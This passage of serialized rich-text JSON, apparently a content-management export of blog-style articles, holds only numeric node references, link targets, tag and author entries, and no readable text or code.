},[54641],{"type":961},{"data":54643,"marks":54644,"value":35682,"nodeType":865},{},[],{"data":54646,"content":54647,"nodeType":1003},{},[54648],{"data":54649,"content":54650,"nodeType":866},{},[54651,54654,54658],{"data":54652,"marks":54653,"value":35692,"nodeType":865},{},[],{"data":54655,"marks":54656,"value":35697,"nodeType":865},{},[54657],{"type":961},{"data":54659,"marks":54660,"value":35701,"nodeType":865},{},[],{"data":54662,"content":54663,"nodeType":1003},{},[54664],{"data":54665,"content":54666,"nodeType":866},{},[54667,54670,54674],{"data":54668,"marks":54669,"value":35711,"nodeType":865},{},[],{"data":54671,"marks":54672,"value":35716,"nodeType":865},{},[54673],{"type":961},{"data":54675,"marks":54676,"value":35720,"nodeType":865},{},[],{"data":54678,"content":54679,"nodeType":1003},{},[54680],{"data":54681,"content":54682,"nodeType":866},{},[54683,54686,54690],{"data":54684,"marks":54685,"value":35730,"nodeType":865},{},[],{"data":54687,"marks":54688,"value":35735,"nodeType":865},{},[54689],{"type":961},{"data":54691,"marks":54692,"value":35739,"nodeType":865},{},[],{"data":54694,"content":54695,"nodeType":1003},{},[54696],{"data":54697,"content":54698,"nodeType":866},{},[54699,54703],{"data":54700,"marks":54701,"value":8525,"nodeType":865},{},[54702],{"type":961},{"data":54704,"marks":54705,"value":35753,"nodeType":865},{},[],{"data":54707,"content":54708,"nodeType":1003},{},[54709],{"data":54710,"content":54711,"nodeType":866},{},[54712,54716],{"data":54713,"marks":54714,"value":35764,"nodeType":865},{},[54715],{"type":961},{"data":54717,"marks":54718,"value":35768,"nodeType":865},{},[],{"data":54720,"content":54721,"nodeType":866},{},[54722],{"data":54723,"marks":54724,"value":35775,"nodeType":865},{},[],{"data":54726,"content":54727,"nodeType":953},{},[],{"data":54729,"content":54730,"nodeType":1458},{},[54731],{"data":54732,"marks":54733,"value":35786,"nodeType":865},{},[54734],{"type":961},{"data":54736,"content":54737,"nodeType":866},{},[54738],{"data":54739,"marks":54740,"value":35793,"nodeType":865},{},[],{"data":54742,"content":54743,"nodeType":1049},{},[54744,54757,54770,54783],{"data":54745,"content":54746,"nodeType":1003},{},[54747],{"data":54748,"content":54749,"nodeType":866},{},[54750,54753],{"data":54751,"marks":54752,"value":35806,"nodeType":865},{},[],{"data":54754,"marks":54755,"value":35811,"nodeType":865},{},[54756],{"type":961},{"data":54758,"content":54759,"nodeType":1003},{},[54760],{"data":54761,"content":54762,"nodeType":866},{},[54763,54766],{"data":54764,"marks":54765,"value":35821,"nodeType":865},{},[],{"data":54767,"marks":54768,"value":35826,"nodeType":865},{},[54769],{"type":961},{"data":54771,"content":54772,"nodeType":1003},{},[54773],{"data":54774,"content":54775,"nodeType":866},{},[54776,54779],{"data":54777,"marks":54778,"value":35836,"nodeType":865},{},[],{"data":54780,"marks":54781,"value":35841,"nodeType":865},{},[54782],{"type":961},{"data":54784,"content":54785,"nodeType":1003},{},[54786],{"data":54787,"content":54788,"nodeType":866},{},[54789,54792],{"data":54790,"marks":54791,"value":35851,"nodeType":865},{},[],{"data":54793,"marks":54794,"value":35856,"nodeType":865},{},[54795],{"type":961},{"data":54797,"content":54798,"nodeType":866},{},[54799,54802,54806],{"data":54800,"marks":54801,"value":35863,"nodeType":865},{},[],{"data":54803,"marks":54804,"value":35868,"nodeType":865},{},[54805],{"type":961},{"data":54807,"marks":54808,"value":35872,"nodeType":865},{},[],{"data":54810,"content":54813,"nodeType":925},{"target":54811},{"sys":54812},{"id":35877,"type":922,"linkType":923},[],{"data":54815,"content":54816,"nodeType":866},{},[54817],{"data":54818,"marks":54819,"value":35885,"nodeType":865},{},[],{"data":54821,"content":54822,"nodeType":953},{},[],{"data":54824,"content":54825,"nodeType":963},{},[54826],{"data":54827,"marks":54828,"value":35896,"nodeType":865},{},[54829],{"type":961},{"data":54831,"content":54832,"nodeType":866},{},[54833],{"data":54834,"marks":54835,"value":35903,"nodeType":865},{},[],{"data":54837,"content":54838,"nodeType":1458},{},[54839],{"data":54840,"marks":54841,"value":35911,"nodeType":865},{},[54842],{"type":961},{"data":54844,"content":54845,"nodeType":866},{},[54846],{"data":54847,"marks":54848,"value":35918,"nodeType":865},{},[],{"data":54850,"content":54851,"nodeType":866},{},[54852],{"data":54853,"marks":54854,"value":35925,"nodeType":865},{},[],{"data":54856,"content":54857,"nodeType":866},{},[54858,54861,54867,54870,54877],{"data":54859,"marks":54860,"value":35932,"nodeType":865},{},[],{"data":54862,"content":54863,"nodeType":882},{"uri":4378},[54864],{"data":54865,"marks":54866,"value":35939,"nodeType":865},{},[],{"data":54868,"marks":54869,"value":35943,"nodeType":865},{},[],{"data":54871,"content":54872,"nodeType":882},{"uri":35946},[54873],{"data":54874,"marks":54875,"value":35952,"nodeType":865},{},[54876],{"type":997},{"data":54878,"marks":54879,"value":35956,"nodeType":865},{},[],{"data":54881,"content":54882,"nodeType":866},{},[54883],{"data":54884,"marks":54885,"value":35963,"nodeType":865},{},[],{"data":54887,"content":54888,"nodeType":1458},{},[54889],{"data":54890,"marks":54891,"value":35971,"nodeType":865},{},[54892],{"type":961},{"data":54894,"content":54895,"nodeType":866},{},[54896],{"data":54897,"marks":54898,"value":35978,"nodeType":865},{},[],{"data":54900,"content":54901,"nodeType":866},{},[54902],{"data":54903,"marks":54904,"value":35985,"nodeType":865},{},[],{"data":54906,"content":54907,"nodeType":866},{},[54908],{"data":54909,"marks":54910,"value":35992,"nodeType":865},{},[],{"data":54912,"content":54913,"nodeType":1458},{},[54914],{"data":54915,"marks":54916,"value":36000,"nodeType":865},{},[54917],{"type":961},{"data":54919,"content":54920,"nodeType":866},{},[54921],{"data":54922,"marks":54923,"value":36007,"nodeType":865},{},[],{"data":54925,"content":54926,"nodeType":866},{},[54927],{"data":54928,"marks":54929,"value":36014,"nodeType":865},{},[],{"data":54931,"content":54932,"nodeType":866},{},[54933],{"data":54934,"marks":54935,"value":36021,"nodeType":865},{},[],{"data":54937,"content":54938,"nodeType":953},{},[],{"data":54940,"content":54941,"nodeType":963},{},[54942],{"data":54943,"marks":54944,"value":36032,"nodeType":865},{},[54945],{"type":961},{"data":54947,"content":54948,"nodeType":866},{},[54949,54953],{"data":54950,"marks":54951,"value":36040,"nodeType":865},{},[54952],{"type":961},{"data":54954,"marks":54955,"value":36044,"nodeType":865},{},[],{"data":54957,"content":54958,"nodeType":866},{},[54959],{"data":54960,"marks":54961,"value":36051,"nodeType":865},{},[],{"data":54963,"content":54964,"nodeType":866},{},[54965],{"data":54966,"marks":54967,"value":36058,"nodeType":865},{},[],{"data":54969,"content":54970,"nodeType":1458},{},[54971],{"data":54972,"marks":54973,"value":36066,"nodeType":865},{},[54974],{"type":961},{"data":54976,"content":54977,"nodeType":866},{},[54978],{"data":54979,"marks":54980,"value":36073,"nodeType":865},{},[],{"data":54982,"content":54983,"nodeType":866},{},[54984],{"data":54985,"marks":54986,"value":36080,"nodeType":865},{},[],{"data":54988,"content":54989,"nodeType":1458},{},[54990],{"data":54991,"marks":54992,"value":36088,"nodeType":865},{},[54993],{"type":961},{"data":54995,"content":54996,"nodeType":866},{},[54997],{"data":54998,"marks":54999,"value":36095,"nodeType":865},{},[],{"data":55001,"content":55002,"nodeType":1049},{},[55003,55016,55029,55042],{"data":55004,"content":55005,"nodeType":1003},{},[55006],{"data":55007,"content":55008,"nodeType":866},{},[55009,55013],{"data":55010,"marks":55011,"value":36109,"nodeType":865},{},[55012],{"type":961},{"data":55014,"marks":55015,"value":36113,"nodeType":865},{},[],{"data":55017,"content":55018,"nodeType":1003},{},[55019],{"data":55020,"content":55021,"nodeType":866},{},[55022,55026],{"data":55023,"marks":55024,"value":36124,"nodeType":865},{},[55025],{"type":961},{"data":55027,"marks":55028,"value":36128,"nodeType":865},{},[],{"data":55030,"content":55031,"nodeType":1003},{},[55032],{"data":55033,"content":55034,"nodeType":866},{},[55035,55039],{"data":55036,"marks":55037,"value":36139,"nodeType":865},{},[55038],{"type":961},{"data":55040,"marks":55041,"value":36143,"nodeType":865},{},[],{"data":55043,"content":55044,"nodeType":1003},{},[55045],{"data":55046,"content":55047,"nodeType":866},{},[55048,55052],{"data":55049,"marks":55050,"value":36154,"nodeType":865},{},[55051],{"type":961},{"data":55053,"marks":55054,"value":36158,"nodeType":865},{},[],{"data":55056,"content":55057,"nodeType":866},{},[55058,55061,55065],{"data":55059,"marks":55060,"value":36165,"nodeType":865},{},[],{"data":55062,"marks":55063,"value":36170,"nodeType":865},{},[55064],{"type":961},{"data":55066,"marks":55067,"value":36174,"nodeType":865},{},[],{"data":55069,"content":55070,"nodeType":866},{},[55071,55074,55080],{"data":55072,"marks":55073,"value":36181,"nodeType":865},{},[],{"data":55075,"content":55076,"nodeType":882},{"uri":1335},[55077],{"data":55078,"marks":55079,"value":36188,"nodeType":865},{},[],{"data":55081,"marks":55082,"value":36192,"nodeType":865},{},[],{"data":55084,"content":55085,"nodeType":1458},{},[55086],{"data":55087,"marks":55088,"value":36200,"nodeType":865},{},[55089],{"type":961},{"data":55091,"content":55092,"nodeType":866},{},[55093],{"data":55094,"marks":55095,"value":36207,"nodeType":865},{},[],{"data":55097,"content":55098,"nodeType":866},{},[55099],{"data":55100,"marks":55101,"value":36215,"nodeType":865},{},[55102],{"type":961},{"data":55104,"content":55105,"nodeType":866},{},[55106],{"data":55107,"marks":55108,"value":36222,"nodeType":865},{},[],{"data":55110,"content":55111,"nodeType":866},{},[55112],{"data":55113,"marks":55114,"value":36229,"nodeType":865},{},[],{"data":55116,"content":55117,"nodeType":866},{},[55118],{"data":55119,"marks":55120,"value":36236,"nodeType":865},{},[],{"data":55122,"content":55125,"nodeType":925},{"target":55123},{"sys":55124},{"id":36241,"type":922,"linkType":923},[],{"data":55127,"content":55128,"nodeType":1458},{},[55129],{"data":55130,"marks":55131,"value":36250,"nodeType":865},{},[55132],{"type":961},{"data":55134,"content":55135,"nodeType":866},{},[55136],{"data":55137,"marks":55138,"value":36257,"nodeType":865},{},[],{"data":55140,"content":55141,"nodeType":866},{},[55142],{"data":55143,"marks":55144,"value":36264,"nodeType":865},{},[],{"data":55146,"content":55149,"nodeType":925},{"target":55147},{"sys":55148},{"id":26830,"type":922,"linkType":923},[],{"data":55151,"content":55152,"nodeType":866},{},[55153],{"data":55154,"marks":55155,"value":36276,"nodeType":865},{},[],{"data":55157,"content":55158,"nodeType":866},{},[55159],{"data":55160,"marks":55161,"value":36283,"nodeType":865},{},[],{"data":55163,"content":55164,"nodeType":866},{},[55165],{"data":55166,"marks":55167,"value":36290,"nodeType":865},{},[],{"data":55169,"content":55172,"nodeType":925},{"target":55170},{"sys":55171},{"id":36295,"type":922,"linkType":923},[],{"data":55174,"content":55175,"nodeType":866},{},[55176],{"data":55177,"marks":55178,"value":21,"nodeType":865},{},[],{"items":55180},[55181,55183],{"sys":55182,"name":297},{"id":2828},{"sys":55184,"name":2825},{"id":2824},{"items":55186},[55187],{"fullName":5029,"firstName":5030,"jobTitle":3776,"profilePicture":55188},{"url":5032},{"__typename":1788,"sys":55190,"content":55191,"title":10645,"synopsis":10646,"hashTags":59,"publishedDate":10647,"slug":10648,"tagsCollection":55621,"authorsCollection":55627},{"id":10136},{"json":55192},{"data":55193,"content":55194,"nodeType":1739},{},[55195,55202,55226,55231,55237,55252,55265,55268,55275,55288,55304,55324,55329,55342,55366,55371,55376,55389,55392,55399,55405,55412,55428,55441,55448,55470,55476,55483,55507,55513,55520,55526,55531,55534,55541,55547,55554,55559,55562,55569,55575,55581,55587,55597,55600,55606],{"data":55196,"content":55197,"nodeType":963},{},[55198],{"data":55199,"marks":55200,"value":10148,"nodeType":865},{},[55201],{"type":961},{"data":55203,"content":55204,"nodeType":866},{},[55205,55208,55214,55217,55223],{"data":55206,"marks":55207,"value":10155,"nodeType":865},{},[],{"data":55209,"content":55210,"nodeType":882},{"uri":10158},[55211],{"data":55212,"marks":55213,"value":10163,"nodeType":865},{},[],{"data":55215,"marks":55216,"value":10167,"nodeType":865},{},[],{"data":55218,"content":55219,"nodeType":882},{"uri":10170},[55220],{"data":55221,"marks":55222,"value":10175,"nodeType":865},{},[],{"data":55224,"marks":55225,"value":10179,"nodeType":865},{},[],{"data":55227,"content":55230,"nodeType":925},{"target":55228},{"sys":55229},{"id":10184,"type":922,"linkType":923},[],{"data":55232,"content":55233,"nodeType":866},{},[55234],{"data":55235,"marks":55236,"value":10192,"nodeType":865},{},[],{"data":55238,"content":55239,"nodeType":866},{},[55240,55243,55249],{"data":55241,"marks":55242,"value":10199,"nodeType":865},{},[],{"data":55244,"content":55245,"nodeType":882},{"uri":10202},[55246],{"data":55247,"marks":55248,"value":10207,"nodeType":865},{},[],{"data":55250,"marks":55251,"value":10211,"nodeType":865},{},[],{"data":55253,"content":55254,"nodeType":866},{},[55255,55258,55262],{"data":55256,"marks":55257,"value":10218,"nodeType":865},{},[],{"data":55259,"marks":55260,"value":10223,"nodeType":865},{},[55261],{"type":961},{"data":55263,"marks":55264,"value":1048,"nodeType":865},{},[],{"data":55266,"content":55267,"nodeType":953},{},[],{"data":55269,"content":55270,"nodeType":963},{},[55271],{"data":55272,"marks":55273,"value":10237,"nodeType":865},{},[55274],{"type":961},{"data":55276,"content":55277,"nodeType":866},{},[55278,55281,55285],{"data":55279,"marks":55280,"value":10244,"nodeType":865},{},[],{"data":55282,"marks":55283,"value":10249,"nodeType":865},{},[55284],{"type":944},{"data":55286,"marks":55287,"value":1048,"nodeType":865},{},[],{"data":55289,"content":55290,"nodeType":866},{},[55291,55294,55301],{"data":55292,"marks":55293,"value":10259,"nodeType":865},{},[],{"data":55295,"content":55296,"nodeType":882},{"uri":3620},[55297],{"data":55298,"marks":55299,"value":10267,"nodeType":865},{},[55300],{"type":997},{"data":55302,"marks":55303,"value":10271,"nodeType":865},{},[],{"data":55305,"content":55306,"nodeType":866},{},[55307,55310,55314,55317,55321],{"data":55308,"marks":55309,"value":10278,"nodeType":865},{},[],{"data":55311,"marks":55312,"value":10283,"nodeType":865},{},[55313],{"type":961},{"data":55315,"marks":55316,"value":10287,"nodeType":865},{},[],{"data":55318,"marks":55319,"value":10292,"nodeType":865},{},[55320],{"type":944},{"data":55322,"marks":55323,"value":10296,"nodeType":865},{},[],{"data":55325,"content":55328,"nodeType":925},{"target":55326},{"sys":55327},{"id":10301,"type":922,"linkType":923},[],{"data":55330,"content":55331,"nodeType":866},{},[55332,55335,55339],{"data":55333,"marks":55334,"value":10309,"nodeType":865},{},[],{"data":55336,"marks":55337,"value":10314,"nodeType":865},{},[55338],{"type":961},{"data":55340,"marks":55341,"value":10318,"nodeType":865},{},[],{"data":55343,"content":55344,"nodeType":866},{},[55345,55348,55354,55357,55363],{"data":55346,"marks":55347,"value":10325,"nodeType":865},{},[],{"data":55349,"content":55350,"nodeType":882},{"uri":10328},[55351],{"data":55352,"marks":55353,"value":10333,"nodeType":865},{},[],{"data":55355,"marks":55356,"value":10337,"nodeType":865},{},[],{"data":55358,"content":55359,"nodeType":882},{"uri":10340},[55360],{"data":55361,"marks":55362,"value":10345,"nodeType":865},{},[],{"data":55364,"marks":55365,"value":10349,"nodeType":865},{},[],{"data":55367,"content":55370,"nodeType":925},{"target":55368},{"sys":55369},{"id":10354,"type":922,"linkType":923},[],{"data":55372,"content":55375,"nodeType":925},{"target":55373},{"sys":55374},{"id":10360,"type":922,"linkType":923},[],{"data":55377,"content":55378,"nodeType":866},{},[55379,55382,55386],{"data":55380,"marks":55381,"value":10368,"nodeType":865},{},[],{"data":55383,"marks":55384,"value":10373,"nodeType":865},{},[55385],{"type":961},{"data":55387,"marks":55388,"value":10377,"nodeType":865},{},[],{"data":55390,"content":55391,"nodeType":953},{},[],{"data":55393,"content":55394,"nodeType":963},{},[55395],{"data":55396,"marks":55397,"value":10388,"nodeType":865},{},[55398],{"type":961},{"data":55400,"content":55401,"nodeType":866},{},[55402],{"data":55403,"marks":55404,"value":10395,"nodeType":865},{},[],{"data":55406,"content":55407,"nodeType":1458},{},[55408],{"data":55409,"marks":55410,"value":10403,"nodeType":865},{},[55411],{"type":961},{"data":55413,"content":55414,"nodeType":866},{},[55415,55418,55425],{"data":55416,"marks":55417,"value":21,"nodeType":865},{},[],{"data":55419,"content":55420,"nodeType":882},{"uri":3288},[55421],{"data":55422,"marks":55423,"value":10417,"nodeType":865},{},[55424],{"type":997},{"data":55426,"marks":55427,"value":10421,"nodeType":865},{},[],{"data":55429,"content":55430,"nodeType":866},{},[55431,55434,55438],{"data":55432,"marks":55433,"value":10428,"nodeType":865},{},[],{"data":55435,"marks":55436,"value":10433,"nodeType":865},{},[55437],{"type":961},{"data":55439,"marks":55440,"value":10437,"nodeType":865},{},[],{"data":55442,"content":55443,"nodeType":1458},{},[55444],{"data":55445,"marks":55446,"value":288,"nodeType":865},{},[55447],{"type":961},{"data":55449,"content":55450,"nodeType":866},{},[55451,55455,55463,55467],{"data":55452,"marks":55453,"value":21,"nodeType":865},{},[55454],{"type":961},{"data":55456,"content":55457,"nodeType":882},{"uri":4136},[55458],{"data":55459,"marks":55460,"value":10460,"nodeType":865},{},[55461,55462],{"type":997},{"type":961},{"data":55464,"marks":55465,"value":10465,"nodeType":865},{},[55466],{"type":961},{"data":55468,"marks":55469,"value":10469,"nodeType":865},{},[],{"data":55471,"content":55472,"nodeType":866},{},[55473],{"data":55474,"marks":55475,"value":10476,"nodeType":865},{},[],{"data":55477,"content":55478,"nodeType":1458},{},[55479],{"data":55480,"marks":55481,"value":10484,"nodeType":865},{},[55482],{"type":961},{"data":55484,"content":55485,"nodeType":866},{},[55486,55489,55495,55498,55504],{"data":55487,"marks":55488,"value":10491,"nodeType":865},{},[],{"data":55490,"content":55491,"nodeType":882},{"uri":10494},[55492],{"data":55493,"marks":55494,"value":10499,"nodeType":865},{},[],{"data":55496,"marks":55497,"value":10503,"nodeType":865},{},[],{"data":55499,"content":55500,"nodeType":882},{"uri":1362},[55501],{"data":55502,"marks":55503,"value":10510,"nodeType":865},{},[],{"data":55505,"marks":55506,"value":10514,"nodeType":865},{},[],{"data":55508,"content":55509,"nodeType":866},{},[55510],{"data":55511,"marks":55512,"value":10521,"nodeType":865},{},[],{"data":55514,"content":55515,"nodeType":1458},{},[55516],{"data":55517,"marks":55518,"value":10529,"nodeType":865},{},[55519],{"type":961},{"data":55521,"content":55522,"nodeType":866},{},[55523],{"data":55524,"marks":55525,"value":10536,"nodeType":865},{},[],{"data":55527,"content":55530,"nodeType":925},{"target":55528},{"sys":55529},{"id":10541,"type":922,"linkType":923},[],{"data":55532,"content":55533,"nodeType":953},{},[],{"data":55535,"content":55536,"nodeType":963},{},[55537],{"data":55538,"marks":55539,"value":10553,"nodeType":865},{},[55540],{"type":961},{"data":55542,"content":55543,"nodeType":866},{},[55544],{"data":55545,"marks":55546,"value":10560,"nodeType":865},{},[],{"data":55548,"content":55549,"nodeType":866},{},[55550],{"data":55551,"marks":55552,"value":10568,"nodeType":865},{},[55553],{"type":961},{"data":55555,"content":55558,"nodeType":925},{"target":55556},{"sys":55557},{"id":10573,"type":922,"linkType":923},[],{"data":55560,"content":55561,"nodeType":953},{},[],{"data":55563,"content":55564,"nodeType":1458},{},[55565],{"data":55566,"marks":55567,"value":10585,"nodeType":865},{},[55568],{"type":961},{"data":55570,"content":55571,"nodeType":866},{},[55572],{"data":55573,"marks":55574,"value":10592,"nodeType":865},{},[],{"data":55576,"content":55577,"nodeType":866},{},[55578],{"data":55579,"marks":55580,"value":10599,"nodeType":865},{},[],{"data":55582,"content":55583,"nodeType":866},{},[55584],{"data":55585,"marks":55586,"value":10606,"nodeType":865},{},[],{"data":55588,"content":55589,"nodeType":866},{},[55590,55594],{"data":55591,"marks":55592,"value":10614,"nodeType":865},{},[55593],{"type":961},{"data":55595,"marks":55596,"value":10618,"nodeType":865},{},[],{"data":55598,"content":55599,"nodeType":953},{},[],{"data":55601,"content":55602,"nodeType":866},{},[55603],{"data":55604,"marks":55605,"value":5006,"nodeType":865},{},[],{"data":55607,"content":55608,"nodeType":866},{},[55609,55612,55618],{"data":55610,"marks":55611,"value":10634,"nodeType":865},{},[],{"data":55613,"content":55614,"nodeType":882},{"uri":9244},[55615],{"data":55616,"marks":55617,"value":10641,"nodeType":865},{},[],{"data":55619,"marks":55620,"value":1738,"nodeType":865},{},[],{"items":55622},[55623,55625],{"sys":55624,"name":2825},{"id":2824},{"sys":55626,"name":342},{"id":8410},{"items":55628},[55629],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":55630},{"url":853},{"__typename":1788,"sys":55632,"content":55633,"title":40383,"synopsis":40384,"hashTags":59,"publishedDate":19780,"slug":40385,"tagsCollection":56454,"authorsCollection":56460},{"id":39422},{"json":55634},{"data":55635,"content":55636,"nodeType":1739},{},[55637,55659,55683,55716,55749,55754,55764,55767,55774,55816,55822,55841,55846,55849,55856,55880,55886,55893,55898,55901,55908,55914,55929,55935,55968,55974,55977,55984,55999,56041,56044,56051,56066,56081,56088,56094,56104,56114,56124,56134,56149,56156,56162,56165,56171,56177,56192,56195,56202,56217,56448],{"data":55638,"content":55639,"nodeType":866},{},[55640,55643,55649,55652,55656],{"data":55641,"marks":55642,"value":39433,"nodeType":865},{},[],{"data":55644,"content":55645,"nodeType":882},{"uri":8759},[55646],{"data":55647,"marks":55648,"value":19437,"nodeType":865},{},[],{"data":55650,"marks":55651,"value":39443,"nodeType":865},{},[],{"data":55653,"marks":55654,"value":39448,"nodeType":865},{},[55655],{"type":961},{"data":55657,"marks":55658,"value":39452,"nodeType":865},{},[],{"data":55660,"content":55661,"nodeType":866},{},[55662,55665,55671,55674,55680],{"data":55663,"marks":55664,"value":39459,"nodeType":865},{},[],{"data":55666,"content":55667,"nodeType":882},{"uri":39462},[55668],{"data":55669,"marks":55670,"value":39467,"nodeType":865},{},[],{"data":55672,"marks":55673,"value":39471,"nodeType":865},{},[],{"data":55675,"content":55676,"nodeType":882},{"uri":39474},[55677],{"data":55678,"marks":55679,"value":39479,"nodeType":865},{},[],{"data":55681,"marks":55682,"value":39483,"nodeType":865},{},[],{"data":55684,"content":55685,"nodeType":866},{},[55686,55689,55695,55698,55704,55707,55713],{"data":55687,"marks":55688,"value":39490,"nodeType":865},{},[],{"data":55690,"content":55691,"nodeType":882},{"uri":39493},[55692],{"data":55693,"marks":55694,"value":39498,"nodeType":865},{},[],{"data":55696,"marks":55697,"value":39502,"nodeType":865},{},[],{"data":55699,"content":55700,"nodeType":882},{"uri":39505},[55701],{"data":55702,"marks":55703,"value":39510,"nodeType":865},{},[],{"data":55705,"marks":55706,"value":39514,"nodeType":865},{},[],{"data":55708,"content":55709,"nodeType":882},{"uri":39517},[55710],{"data":55711,"marks":55712,"value":39522,"nodeType":865},{},[],{"data":55714,"marks":55715,"value":39526,"nodeType":865},{},[],{"data":55717,"content":55718,"nodeType":866},{},[55719,55722,55728,55731,55737,55740,55746],{"data":55720,"marks":55721,"value":39533,"nodeType":865},{},[],{"data":55723,"content":55724,"nodeType":882},{"uri":39536},[55725],{"data":55726,"marks":55727,"value":39541,"nodeType":865},{},[],{"data":55729,"marks":55730,"value":39545,"nodeType":865},{},[],{"data":55732,"content":55733,"nodeType":882},{"uri":39548},[55734],{"data":55735,"marks":55736,"value":39553,"nodeType":865},{},[],{"data":55738,"marks":55739,"value":39557,"nodeType":865},{},[],{"data":55741,"content":55742,"nodeType":882},{"uri":39560},[55743],{"data":55744,"marks":55745,"value":39565,"nodeType":865},{},[],{"data":55747,"marks":55748,"value":39569,"nodeType":865},{},[],{"data":55750,"content":55753,"nodeType":925},{"target":55751},{"sys":55752},{"id":39574,"type":922,"linkType":923},[],{"data":55755,"content":55756,"nodeType":866},{},[55757,55761],{"data":55758,"marks":55759,"value":39583,"nodeType":865},{},[55760],{"type":961},{"data":55762,"marks":55763,"value":39587,"nodeType":865},{},[],{"data":55765,"content":55766,"nodeType":953},{},[],{"data":55768,"content":55769,"nodeType":963},{},[55770],{"data":55771,"marks":55772,"value":39598,"nodeType":865},{},[55773],{"type":961},{"data":55775,"content":55776,"nodeType":866},{},[55777,55780,55786,55789,55795,55798,55804,55807,55813],{"data":55778,"marks":55779,"value":39605,"nodeType":865},{},[],{"data":55781,"content":55782,"nodeType":882},{"uri":24060},[55783],{"data":55784,"marks":55785,"value":39612,"nodeType":865},{},[],{"data":55787,"marks":55788,"value":26083,"nodeType":865},{},[],{"data":55790,"content":55791,"nodeType":882},{"uri":39618},[55792],{"data":55793,"marks":55794,"value":39623,"nodeType":865},{},[],{"data":55796,"marks":55797,"value":38646,"nodeType":865},{},[],{"data":55799,"content":55800,"nodeType":882},{"uri":39505},[55801],{"data":55802,"marks":55803,"value":39633,"nodeType":865},{},[],{"data":55805,"marks":55806,"value":39637,"nodeType":865},{},[],{"data":55808,"content":55809,"nodeType":882},{"uri":12335},[55810],{"data":55811,"marks":55812,"value":39644,"nodeType":865},{},[],{"data":55814,"marks":55815,"value":1048,"nodeType":865},{},[],{"data":55817,"content":55818,"nodeType":866},{},[55819],{"data":55820,"marks":55821,"value":39654,"nodeType":865},{},[],{"data":55823,"content":55824,"nodeType":866},{},[55825,55828,55834,55837],{"data":55826,"marks":55827,"value":39661,"nodeType":865},{},[],{"data":55829,"content":55830,"nodeType":882},{"uri":12335},[55831],{"data":55832,"marks":55833,"value":39668,"nodeType":865},{},[],{"data":55835,"marks":55836,"value":39672,"nodeType":865},{},[],{"data":55838,"marks":55839,"value":39677,"nodeType":865},{},[55840],{"type":961},{"data":55842,"content":55845,"nodeType":925},{"target":55843},{"sys":55844},{"id":39682,"type":922,"linkType":923},[],{"data":55847,"content":55848,"nodeType":953},{},[],{"data":55850,"content":55851,"nodeType":963},{},[55852],{"data":55853,"marks":55854,"value":39694,"nodeType":865},{},[55855],{"type":961},{"data":55857,"content":55858,"nodeType":866},{},[55859,55862,55868,55871,55877],{"data":55860,"marks":55861,"value":873,"nodeType":865},{},[],{"data":55863,"content":55864,"nodeType":882},{"uri":19454},[55865],{"data":55866,"marks":55867,"value":39707,"nodeType":865},{},[],{"data":55869,"marks":55870,"value":39711,"nodeType":865},{},[],{"data":55872,"content":55873,"nodeType":882},{"uri":39517},[55874],{"data":55875,"marks":55876,"value":39718,"nodeType":865},{},[],{"data":55878,"marks":55879,"value":39722,"nodeType":865},{},[],{"data":55881,"content":55882,"nodeType":866},{},[55883],{"data":55884,"marks":55885,"value":39729,"nodeType":865},{},[],{"data":55887,"content":55888,"nodeType":866},{},[55889],{"data":55890,"marks":55891,"value":39737,"nodeType":865},{},[55892],{"type":961},{"data":55894,"content":55897,"nodeType":925},{"target":55895},{"sys":55896},{"id":39742,"type":922,"linkType":923},[],{"data":55899,"content":55900,"nodeType":953},{},[],{"data":55902,"content":55903,"nodeType":963},{},[55904],{"data":55905,"marks":55906,"value":39754,"nodeType":865},{},[55907],{"type":961},{"data":55909,"content":55910,"nodeType":866},{},[55911],{"data":55912,"marks":55913,"value":39761,"nodeType":865},{},[],{"data":55915,"content":55916,"nodeType":866},{},[55917,55920,55926],{"data":55918,"marks":55919,"value":873,"nodeType":865},{},[],{"data":55921,"content":55922,"nodeType":882},{"uri":39770},[55923],{"data":55924,"marks":55925,"value":39775,"nodeType":865},{},[],{"data":55927,"marks":55928,"value":39779,"nodeType":865},{},[],{"data":55930,"content":55931,"nodeType":866},{},[55932],{"data":55933,"marks":55934,"value":39786,"nodeType":865},{},[],{"data":55936,"content":55937,"nodeType":866},{},[55938,55941,55947,55950,55956,55959,55965],{"data":55939,"marks":55940,"value":39793,"nodeType":865},{},[],{"data":55942,"content":55943,"nodeType":882},{"uri":39796},[55944],{"data":55945,"marks":55946,"value":39801,"nodeType":865},{},[],{"data":55948,"marks":55949,"value":39805,"nodeType":865},{},[],{"data":55951,"content":55952,"nodeType":882},{"uri":39808},[55953],{"data":55954,"marks":55955,"value":39813,"nodeType":865},{},[],{"data":55957,"marks":55958,"value":39817,"nodeType":865},{},[],{"data":55960,"content":55961,"nodeType":882},{"uri":3288},[55962],{"data":55963,"marks":55964,"value":39824,"nodeType":865},{},[],{"data":55966,"marks":55967,"value":39828,"nodeType":865},{},[],{"data":55969,"content":55970,"nodeType":866},{},[55971],{"data":55972,"marks":55973,"value":39835,"nodeType":865},{},[],{"data":55975,"content":55976,"nodeType":953},{},[],{"data":55978,"content":55979,"nodeType":963},{},[55980],{"data":55981,"marks":55982,"value":39846,"nodeType":865},{},[55983],{"type":961},{"data":55985,"content":55986,"nodeType":866},{},[55987,55990,55996],{"data":55988,"marks":55989,"value":39853,"nodeType":865},{},[],{"data":55991,"content":55992,"nodeType":882},{"uri":39856},[55993],{"data":55994,"marks":55995,"value":39861,"nodeType":865},{},[],{"data":55997,"marks":55998,"value":39865,"nodeType":865},{},[],{"data":56000,"content":56001,"nodeType":866},{},[56002,56005,56011,56014,56020,56023,56029,56032,56038],{"data":56003,"marks":56004,"value":39872,"nodeType":865},{},[],{"data":56006,"content":56007,"nodeType":882},{"uri":39875},[56008],{"data":56009,"marks":56010,"value":39880,"nodeType":865},{},[],{"data":56012,"marks":56013,"value":39884,"nodeType":865},{},[],{"data":56015,"content":56016,"nodeType":882},{"uri":39887},[56017],{"data":56018,"marks":56019,"value":39892,"nodeType":865},{},[],{"data":56021,"marks":56022,"value":39896,"nodeType":865},{},[],{"data":56024,"content":56025,"nodeType":882},{"uri":39899},[56026],{"data":56027,"marks":56028,"value":39904,"nodeType":865},{},[],{"data":56030,"marks":56031,"value":39908,"nodeType":865},{},[],{"data":56033,"content":56034,"nodeType":882},{"uri":39911},[56035],{"data":56036,"marks":56037,"value":39916,"nodeType":865},{},[],{"data":56039,"marks":56040,"value":39920,"nodeType":865},{},[],{"data":56042,"content":56043,"nodeType":953},{},[],{"data":56045,"content":56046,"nodeType":963},{},[56047],{"data":56048,